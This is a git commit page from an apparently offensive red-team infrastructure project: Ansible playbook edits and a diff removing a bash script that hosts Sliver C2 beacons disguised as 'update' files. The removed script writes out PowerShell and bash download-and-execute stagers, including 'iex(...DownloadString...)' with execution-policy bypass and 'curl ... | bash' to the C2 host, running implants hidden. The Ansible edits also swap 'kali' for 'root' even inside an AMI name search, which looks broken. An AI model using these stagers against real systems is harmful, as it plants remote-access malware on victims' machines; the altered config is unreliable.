Changed script to have a menu
This commit is contained in:
n0mad1k
@@ -3,3 +3,4 @@ venv
|
|||||||
deployment*
|
deployment*
|
||||||
config.yml
|
config.yml
|
||||||
logs/
|
logs/
|
||||||
|
domainhunter/
|
||||||
+2
-2
@@ -9,7 +9,7 @@
|
|||||||
- vars.yaml
|
- vars.yaml
|
||||||
vars:
|
vars:
|
||||||
# Default values
|
# Default values
|
||||||
ssh_user: "{{ ssh_user | default('kali') }}"
|
ssh_user: "{{ ssh_user | default('root') }}"
|
||||||
aws_region: "{{ aws_region | default(aws_region_choices | random) }}"
|
aws_region: "{{ aws_region | default(aws_region_choices | random) }}"
|
||||||
instance_type: "{{ aws_instance_type | default('t2.medium') }}"
|
instance_type: "{{ aws_instance_type | default('t2.medium') }}"
|
||||||
deployment_id: "{{ deployment_id | default('') }}"
|
deployment_id: "{{ deployment_id | default('') }}"
|
||||||
@@ -57,7 +57,7 @@
|
|||||||
# Add AMI username mapping - improved with better detection
|
# Add AMI username mapping - improved with better detection
|
||||||
- name: Determine correct SSH user for the AMI
|
- name: Determine correct SSH user for the AMI
|
||||||
set_fact:
|
set_fact:
|
||||||
ami_ssh_user: "{{ 'kali' if (ami_id is defined and ami_id is search('-kali-')) or (ami_id is defined and ami_id == 'ami-061b17d332829ab1c') else 'ubuntu' }}"
|
ami_ssh_user: "{{ 'root' if (ami_id is defined and ami_id is search('-root-')) or (ami_id is defined and ami_id == 'ami-061b17d332829ab1c') else 'ubuntu' }}"
|
||||||
|
|
||||||
- name: Display AMI and user information for debugging
|
- name: Display AMI and user information for debugging
|
||||||
debug:
|
debug:
|
||||||
|
|||||||
+2
-2
@@ -9,7 +9,7 @@
|
|||||||
- vars.yaml
|
- vars.yaml
|
||||||
vars:
|
vars:
|
||||||
# Default values
|
# Default values
|
||||||
ssh_user: "{{ ssh_user | default('ubuntu') }}" # Changed from 'kali' to 'ubuntu'
|
ssh_user: "{{ ssh_user | default('ubuntu') }}" # Changed from 'root' to 'ubuntu'
|
||||||
aws_region: "{{ aws_region | default(aws_region_choices | random) }}"
|
aws_region: "{{ aws_region | default(aws_region_choices | random) }}"
|
||||||
instance_type: "{{ aws_instance_type | default('t2.micro') }}"
|
instance_type: "{{ aws_instance_type | default('t2.micro') }}"
|
||||||
deployment_id: "{{ deployment_id | default('') }}"
|
deployment_id: "{{ deployment_id | default('') }}"
|
||||||
@@ -205,7 +205,7 @@
|
|||||||
name: "redirector"
|
name: "redirector"
|
||||||
groups: "redirectors"
|
groups: "redirectors"
|
||||||
ansible_host: "{{ redirector_ip }}"
|
ansible_host: "{{ redirector_ip }}"
|
||||||
ansible_user: "ubuntu" # Change this from 'kali' to 'ubuntu'
|
ansible_user: "ubuntu" # Change this from 'root' to 'ubuntu'
|
||||||
ansible_ssh_private_key_file: "~/.ssh/{{ redirector_name }}.pem"
|
ansible_ssh_private_key_file: "~/.ssh/{{ redirector_name }}.pem"
|
||||||
ansible_ssh_common_args: "-o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o IdentitiesOnly=yes"
|
ansible_ssh_common_args: "-o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o IdentitiesOnly=yes"
|
||||||
ansible_python_interpreter: "/usr/bin/python3"
|
ansible_python_interpreter: "/usr/bin/python3"
|
||||||
|
|||||||
File diff suppressed because it is too large
Load Diff
@@ -1,197 +0,0 @@
|
|||||||
#!/bin/bash
|
|
||||||
# Script to serve Sliver beacons generated by generate_evasive_beacons.sh
|
|
||||||
|
|
||||||
# Configuration
|
|
||||||
BEACONS_DIR="/root/Tools/beacons"
|
|
||||||
C2_HOST="{{ ansible_host }}"
|
|
||||||
LISTEN_PORT=8443
|
|
||||||
|
|
||||||
# Check if manifest file exists (created by generate_evasive_beacons.sh)
|
|
||||||
if [ -f "$BEACONS_DIR/manifest.json" ]; then
|
|
||||||
echo "[+] Found beacon manifest file - using Sliver beacons generated previously"
|
|
||||||
# Extract beacon paths from manifest
|
|
||||||
WIN_EXE=$(jq -r '.windows_exe' "$BEACONS_DIR/manifest.json")
|
|
||||||
WIN_DLL=$(jq -r '.windows_dll' "$BEACONS_DIR/manifest.json")
|
|
||||||
LINUX_BIN=$(jq -r '.linux_binary' "$BEACONS_DIR/manifest.json")
|
|
||||||
MAC_BIN=$(jq -r '.macos_binary' "$BEACONS_DIR/manifest.json")
|
|
||||||
WIN_STAGER=$(jq -r '.windows_stager' "$BEACONS_DIR/manifest.json")
|
|
||||||
|
|
||||||
# Print beacon info
|
|
||||||
echo "[+] Using these Sliver beacons:"
|
|
||||||
echo " - Windows EXE: $WIN_EXE"
|
|
||||||
echo " - Windows DLL: $WIN_DLL"
|
|
||||||
echo " - Linux Binary: $LINUX_BIN"
|
|
||||||
echo " - macOS Binary: $MAC_BIN"
|
|
||||||
echo " - Windows Stager: $WIN_STAGER"
|
|
||||||
else
|
|
||||||
echo "[!] No manifest file found. Please run generate_evasive_beacons.sh first."
|
|
||||||
echo "[!] Will search for beacons in $BEACONS_DIR..."
|
|
||||||
|
|
||||||
# Try to find beacons directly
|
|
||||||
WIN_EXE=$(find "$BEACONS_DIR" -maxdepth 1 -name "*.exe" ! -path "*/staged/*" | head -n 1)
|
|
||||||
WIN_DLL=$(find "$BEACONS_DIR" -maxdepth 1 -name "*.dll" | head -n 1)
|
|
||||||
LINUX_BIN=$(find "$BEACONS_DIR" -maxdepth 1 -type f -executable -not -path "*/\.*" ! -name "*.sh" ! -name "*.exe" ! -name "*.dll" | head -n 1)
|
|
||||||
MAC_BIN=$(find "$BEACONS_DIR" -maxdepth 1 -name "*mac*" -o -name "*darwin*" | head -n 1)
|
|
||||||
WIN_STAGER=$(find "$BEACONS_DIR/staged" -name "*.exe" | head -n 1)
|
|
||||||
|
|
||||||
# Check if we found any beacons
|
|
||||||
if [ -z "$WIN_EXE" ] && [ -z "$LINUX_BIN" ]; then
|
|
||||||
echo "[!] No Sliver beacons found. Please run generate_evasive_beacons.sh first."
|
|
||||||
exit 1
|
|
||||||
fi
|
|
||||||
fi
|
|
||||||
|
|
||||||
# Create temporary directory for web server
|
|
||||||
TEMP_DIR=$(mktemp -d)
|
|
||||||
mkdir -p $TEMP_DIR/downloads
|
|
||||||
mkdir -p $TEMP_DIR/scripts
|
|
||||||
|
|
||||||
# Copy beacons to web directory with generic names
|
|
||||||
if [ -n "$WIN_EXE" ]; then
|
|
||||||
cp "$BEACONS_DIR/$WIN_EXE" $TEMP_DIR/downloads/update.exe
|
|
||||||
echo "[+] Serving Windows EXE: $WIN_EXE"
|
|
||||||
fi
|
|
||||||
|
|
||||||
if [ -n "$WIN_DLL" ]; then
|
|
||||||
cp "$BEACONS_DIR/$WIN_DLL" $TEMP_DIR/downloads/module.dll
|
|
||||||
echo "[+] Serving Windows DLL: $WIN_DLL"
|
|
||||||
fi
|
|
||||||
|
|
||||||
if [ -n "$LINUX_BIN" ]; then
|
|
||||||
cp "$BEACONS_DIR/$LINUX_BIN" $TEMP_DIR/downloads/update-linux
|
|
||||||
echo "[+] Serving Linux Binary: $LINUX_BIN"
|
|
||||||
fi
|
|
||||||
|
|
||||||
if [ -n "$MAC_BIN" ]; then
|
|
||||||
cp "$BEACONS_DIR/$MAC_BIN" $TEMP_DIR/downloads/update-mac
|
|
||||||
echo "[+] Serving macOS Binary: $MAC_BIN"
|
|
||||||
fi
|
|
||||||
|
|
||||||
if [ -n "$WIN_STAGER" ]; then
|
|
||||||
cp "$BEACONS_DIR/$WIN_STAGER" $TEMP_DIR/downloads/stager.exe
|
|
||||||
echo "[+] Serving Windows Stager: $WIN_STAGER"
|
|
||||||
fi
|
|
||||||
|
|
||||||
# Copy loader scripts if they exist
|
|
||||||
if [ -f "$BEACONS_DIR/windows_loader.ps1" ]; then
|
|
||||||
cp "$BEACONS_DIR/windows_loader.ps1" $TEMP_DIR/scripts/
|
|
||||||
echo "[+] Serving Windows PowerShell loader"
|
|
||||||
fi
|
|
||||||
|
|
||||||
if [ -f "$BEACONS_DIR/linux_loader.sh" ]; then
|
|
||||||
cp "$BEACONS_DIR/linux_loader.sh" $TEMP_DIR/scripts/
|
|
||||||
echo "[+] Serving Linux bash loader"
|
|
||||||
fi
|
|
||||||
|
|
||||||
# Create additional PowerShell downloader script
|
|
||||||
cat > $TEMP_DIR/scripts/beacon.ps1 << 'EOFPS'
|
|
||||||
# PowerShell downloader for Sliver beacons
|
|
||||||
$ErrorActionPreference = 'SilentlyContinue'
|
|
||||||
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
|
|
||||||
|
|
||||||
# Random temporary file
|
|
||||||
$tempFile = Join-Path $env:TEMP ("update-" + (New-Guid) + ".exe")
|
|
||||||
|
|
||||||
# Download and execute
|
|
||||||
try {
|
|
||||||
$webClient = New-Object System.Net.WebClient
|
|
||||||
$webClient.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36")
|
|
||||||
$webClient.DownloadFile("http://C2HOST:C2PORT/downloads/update.exe", $tempFile)
|
|
||||||
Start-Process -WindowStyle Hidden $tempFile
|
|
||||||
"Successfully downloaded and executed update."
|
|
||||||
} catch {
|
|
||||||
"Error during update process."
|
|
||||||
}
|
|
||||||
EOFPS
|
|
||||||
|
|
||||||
# Replace placeholders
|
|
||||||
sed -i "s/C2HOST/$C2_HOST/g" $TEMP_DIR/scripts/beacon.ps1
|
|
||||||
sed -i "s/C2PORT/$LISTEN_PORT/g" $TEMP_DIR/scripts/beacon.ps1
|
|
||||||
|
|
||||||
# Create Linux bash download script
|
|
||||||
cat > $TEMP_DIR/scripts/beacon.sh << 'EOFSH'
|
|
||||||
#!/bin/bash
|
|
||||||
# Linux download and execute Sliver beacon
|
|
||||||
|
|
||||||
# Download binary to /tmp with random name
|
|
||||||
TMPFILE="/tmp/update-$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1)"
|
|
||||||
curl -s -o $TMPFILE http://C2HOST:C2PORT/downloads/update-linux
|
|
||||||
chmod +x $TMPFILE
|
|
||||||
|
|
||||||
# Execute in background
|
|
||||||
$TMPFILE &
|
|
||||||
|
|
||||||
echo "Update complete."
|
|
||||||
EOFSH
|
|
||||||
|
|
||||||
# Replace placeholders
|
|
||||||
sed -i "s/C2HOST/$C2_HOST/g" $TEMP_DIR/scripts/beacon.sh
|
|
||||||
sed -i "s/C2PORT/$LISTEN_PORT/g" $TEMP_DIR/scripts/beacon.sh
|
|
||||||
chmod +x $TEMP_DIR/scripts/beacon.sh
|
|
||||||
|
|
||||||
# Create helpful index page
|
|
||||||
cat > $TEMP_DIR/index.html << EOL
|
|
||||||
<!DOCTYPE html>
|
|
||||||
<html>
|
|
||||||
<head>
|
|
||||||
<title>Sliver Beacon Downloads</title>
|
|
||||||
<style>
|
|
||||||
body { font-family: Arial, sans-serif; max-width: 800px; margin: 0 auto; padding: 20px; }
|
|
||||||
h1 { color: #333; }
|
|
||||||
.section { margin-bottom: 30px; padding: 20px; background-color: #f8f8f8; border-radius: 5px; }
|
|
||||||
.warning { color: #a00; font-weight: bold; }
|
|
||||||
code { background-color: #eee; padding: 2px 5px; border-radius: 3px; }
|
|
||||||
</style>
|
|
||||||
</head>
|
|
||||||
<body>
|
|
||||||
<h1>Sliver Beacon Downloads</h1>
|
|
||||||
<div class="section">
|
|
||||||
<h2>Available Beacons</h2>
|
|
||||||
<ul>
|
|
||||||
<li><a href="/downloads/update.exe">Windows Beacon</a></li>
|
|
||||||
<li><a href="/downloads/module.dll">Windows DLL Beacon</a></li>
|
|
||||||
<li><a href="/downloads/update-linux">Linux Beacon</a></li>
|
|
||||||
<li><a href="/downloads/update-mac">macOS Beacon</a></li>
|
|
||||||
<li><a href="/downloads/stager.exe">Windows Stager</a></li>
|
|
||||||
</ul>
|
|
||||||
</div>
|
|
||||||
<div class="section">
|
|
||||||
<h2>Auto-Download Scripts</h2>
|
|
||||||
<ul>
|
|
||||||
<li><a href="/scripts/beacon.ps1">Windows PowerShell Downloader</a></li>
|
|
||||||
<li><a href="/scripts/beacon.sh">Linux Bash Downloader</a></li>
|
|
||||||
<li><a href="/scripts/windows_loader.ps1">PowerShell C2 Loader</a></li>
|
|
||||||
<li><a href="/scripts/linux_loader.sh">Bash C2 Loader</a></li>
|
|
||||||
</ul>
|
|
||||||
</div>
|
|
||||||
<div class="section">
|
|
||||||
<h2>Quick Commands</h2>
|
|
||||||
<p>Windows PowerShell:</p>
|
|
||||||
<code>powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('http://$C2_HOST:$LISTEN_PORT/scripts/beacon.ps1')"</code>
|
|
||||||
<p>Linux Bash:</p>
|
|
||||||
<code>curl -s http://$C2_HOST:$LISTEN_PORT/scripts/beacon.sh | bash</code>
|
|
||||||
</div>
|
|
||||||
</body>
|
|
||||||
</html>
|
|
||||||
EOL
|
|
||||||
|
|
||||||
# Start Python HTTP server in background
|
|
||||||
cd $TEMP_DIR
|
|
||||||
nohup python3 -m http.server $LISTEN_PORT > /dev/null 2>&1 &
|
|
||||||
SERVER_PID=$!
|
|
||||||
echo "[+] Started Sliver beacon server with PID $SERVER_PID on $C2_HOST:$LISTEN_PORT"
|
|
||||||
|
|
||||||
# Print useful information for the operator
|
|
||||||
echo "[+] Sliver beacons server is now running at http://$C2_HOST:$LISTEN_PORT/"
|
|
||||||
echo "[+] Available Sliver beacons:"
|
|
||||||
echo " - http://$C2_HOST:$LISTEN_PORT/downloads/update.exe (Windows EXE)"
|
|
||||||
echo " - http://$C2_HOST:$LISTEN_PORT/downloads/module.dll (Windows DLL)"
|
|
||||||
echo " - http://$C2_HOST:$LISTEN_PORT/downloads/update-linux (Linux Binary)"
|
|
||||||
echo " - http://$C2_HOST:$LISTEN_PORT/downloads/update-mac (macOS Binary)"
|
|
||||||
echo " - http://$C2_HOST:$LISTEN_PORT/downloads/stager.exe (Windows Stager)"
|
|
||||||
echo ""
|
|
||||||
echo "[+] Quick PowerShell download command:"
|
|
||||||
echo "powershell -exec bypass -c \"iex(New-Object Net.WebClient).DownloadString('http://$C2_HOST:$LISTEN_PORT/scripts/beacon.ps1')\""
|
|
||||||
echo ""
|
|
||||||
echo "[+] Quick Linux download command:"
|
|
||||||
echo "curl -s http://$C2_HOST:$LISTEN_PORT/scripts/beacon.sh | bash"
|
|
||||||
Reference in New Issue
Block a user